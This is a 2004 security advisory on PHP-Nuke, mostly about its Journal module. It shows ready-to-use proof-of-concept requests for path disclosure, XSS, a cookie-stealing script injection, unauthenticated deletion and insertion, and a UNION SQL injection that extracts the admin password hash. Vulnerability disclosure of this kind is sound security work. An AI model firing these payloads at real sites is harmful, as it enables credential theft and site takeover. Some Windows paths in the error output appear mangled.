Author: Janek Vind "waraxe"
Date: 23. June 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=33


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is a popular freeware content management system, written in php by
Francisco Burzi. This CMS (Content Management System) is used on many thousands
websites, because it's freeware, easy to install and has broad set of features.

Homepage: http://phpnuke.org



Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

There are various security flaws - full path disclosure, xss, script injection and
critical sql injection. Most of the bugs, dicussed in current advisory, are located
in "Journal" module, and couple of full path disclosure bugs are in "Web_Links" and
"Statistics" modules.


A - Full Path Disclosure
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A1 - full path disclosure in "/modules/Web_Links/voteinclude.php":

http://localhost/nuke73/modules/Web_Links/voteinclude.php

Warning: main(modules/Web_Links/l_config.php): failed to open stream: No such file or directory in
D:apache_wwwroot
uke73modulesWeb_Linksvoteinclude.php on line 24

Fatal error: main(): Failed opening required 'modules/Web_Links/l_config.php' (include_path='.;c:php4pear') in
D:apache_wwwroot
uke73modulesWeb_Linksvoteinclude.php on line 24

A2 - full path disclosure in "Statistics" module:

Let's see original code from "/modules/Statistics/index.php":

-----------------------------------------------------
switch($op) {

default:
Stats_Main();
break;

case "Stats":
Stats($total);
break;

case "YearlyStats":
YearlyStats($year);
break;

case "MonthlyStats":
MonthlyStats($year,$month);
break;

case "DailyStats":
DailyStats($year,$month,$date);
break;

case "convert_month":
convert_month($month);
break;

}
----------------------------------------------------
Anything seems OK? Guess what - convert_month() is legacy function, not
referenced anywhere else. So if we make GET request like this:

http://localhost/nuke73/modules.php?name=Statistics&op=convert_month

then will get error messages, revealing full path to script:

Fatal error: Call to undefined function: convert_month() in
D:apache_wwwroot
uke73modulesStatisticsindex.php on line 477


A3 - full path disclosure in "modules/Journal/add.php":

Reason is uninitialized array "filelist"

http://localhost/nuke73/modules.php?name=Journal&file=add&filelist=f00bar

Fatal error: [] operator not supported for strings in
D:apache_wwwroot
uke73modulesJournaladd.php on line 102


A4 - full path disclosure in "modules/Journal/modify.php":

Reason is uninitialized array "filelist"

http://localhost/nuke73/modules.php?name=Journal&file=modify&filelist=f00bar



B - Cross-site scripting aka XSS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

XSS can lead to cookie theft and finally to website deface/overtake.

B1 - xss in "/modules/Journal/friend.php":

http://localhost/nuke73/modules.php?name=Journal&file=friend&jid=2&yun=[xss code here]
http://localhost/nuke73/modules.php?name=Journal&file=friend&jid=2&ye=[xss code here]


B2 - xss in "modules/Journal/add.php":

http://localhost/nuke73/modules.php?name=Journal&file=add&filelist[]=[xss code here]


B3 - xss in "modules/Journal/modify.php":

http://localhost/nuke73/modules.php?name=Journal&file=modify&filelist[]=[xss code here]


B4 - xss in "modules/Journal/delete.php":

http://localhost/nuke73/modules.php?name=Journal&file=delete&jid=[xss code here]&forwhat=waraxe


B5 - xss in "modules/Journal/comment.php":

http://localhost/nuke73/modules.php?name=Journal&file=comment&onwhat=[xss code here]


B6 - xss in "modules/Journal/commentsave.php":

http://localhost/nuke73/modules.php?name=Journal&file=commentsave&rid=[xss code here]


C - Script injection to Journal entry
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Journal entry's main text is sanitaized against script injection, but for some reason
title text is unsanitaized. So, potential attacker can write journal entry and place to
title input field something like:

"Look at cool pics! <body onload=alert(document.cookie);>"

And now, when anyone, including admins, will list specific journal entries:

http://localhost/nuke73/modules.php?name=Journal&file=search&bywhat=aid&forwhat=waraxe

or will read it:

http://localhost/nuke73/modules.php?name=Journal&file=display&jid=2

then injected javascript can do anything, attacker desires.


D - Missing authentication in some functions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

D1 - unauthorized comment deletion in "modules/Journal/commentkill.php":

Let's look at original code:

--------------------------------------------------
cookiedecode($user);
$username = $cookie[1];

if ($debug == "true") :
echo ("UserName:$username<br>SiteName: $sitename");
endif;

startjournal($sitename,$user);
$onwhat = intval($onwhat);
$sql = "DELETE FROM ".$prefix."_journal_comments WHERE cid = '$onwhat'";
$db->sql_query($sql);
--------------------------------------------------

Funny thing, but script's author seems to forget about permission check at all!
So if anyone will want to delete ANY comment from any journal for some reason,
then simple GET request will do the job:

http://localhost/nuke73/modules.php?name=Journal&file=commentkill&onwhat=1

Of course, comment's ID must be right number.
I can understand - Journal comments are absolutely uncritical issue and who gives a
s*it about them, but anyway - this is very bad coding style ...


D2 - unauthorized journal entry insertion in "modules/Journal/savenew.php":

Same problem - no permissions check at all. Any anonymous person, who is not
member of the nuke site, can add journal entries with ease:

http://localhost/nuke73/modules.php?name=Journal&file=savenew&title=f00bar

Those entries seems to be kinda invisible for search and listing, but this bug
can be useful for attacker as method to flood the database for example.

E - sql injection
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

E1 - critical sql injection in "modules/Journal/search.php":

First, let's look at original code:
--------------------------------------------------
cookiedecode($user);
$username = $cookie[1];

if (!isset($bywhat)):
$bywhat = "naddaanythang";
else :
$bywhat = stripslashes($bywhat);
endif;

if (!isset($forwhat)):
$forwhat = "naddaanythang";
else :
$forwhat = stripslashes($forwhat);
endif;
...
...
function search($username,$bywhat,$forwhat,$sitename,$bgcolor2,$bgcolor3,$user) {
global $prefix, $user_prefix, $db, $module_name, $exact;
echo "<br>";
OpenTable();
...
...
if ($bywhat == 'aid'):
if ($exact == '1') {
$sql = "SELECT j.jid, j.aid, j.title, j.pdate, j.ptime, j.mdate, j.mtime,
u.user_id, u.username FROM ".$prefix."_journal j, ".$user_prefix."_users u
WHERE u.username=j.aid and j.aid='$forwhat' order by j.jid DESC";
} else {
...
...
$result = $db->sql_query($sql);
--------------------------------------------------
Nice case of sql injection - first user submitted variables "bywhat" and
"forwhat" will be processed by "stripslashes()" and then WITHOUT ANY SANITATION
will be used in "SELECT FROM" sql query...
So it's time to test proof of concept sploit:

----------[real-life sploit started]--------------

http://localhost/nuke73/modules.php?name=Journal&file=search&bywhat=aid&exact=1
&forwhat=kala'/**/UNION/**/SELECT/**/0,0,pwd,0,0,0,0,0,0/**/FROM/**/nuke_authors/**/
WHERE/**/radminsuper=1/**/LIMIT/**/1/*


-----------[real-life sploit ended]---------------

And as result, we will see admin password md5 hash in place, where normally journal
entry's title will show up.
As with any UNION exploit - mysql version 4.x is needed with UNION functionality
enabled.


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Anyone interested in tutorial(s) for fixing those security bugs, is welcome to
forum on http://www.waraxe.us/forums.html

See ya there!


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna and to http://www.gamecheaters.us staff!
Special greets to icenix, Dionysus, Stonecold and slimjim100!
Tervitused - Heintz ja Maku!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------

Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2005-01-06 (19061 reads)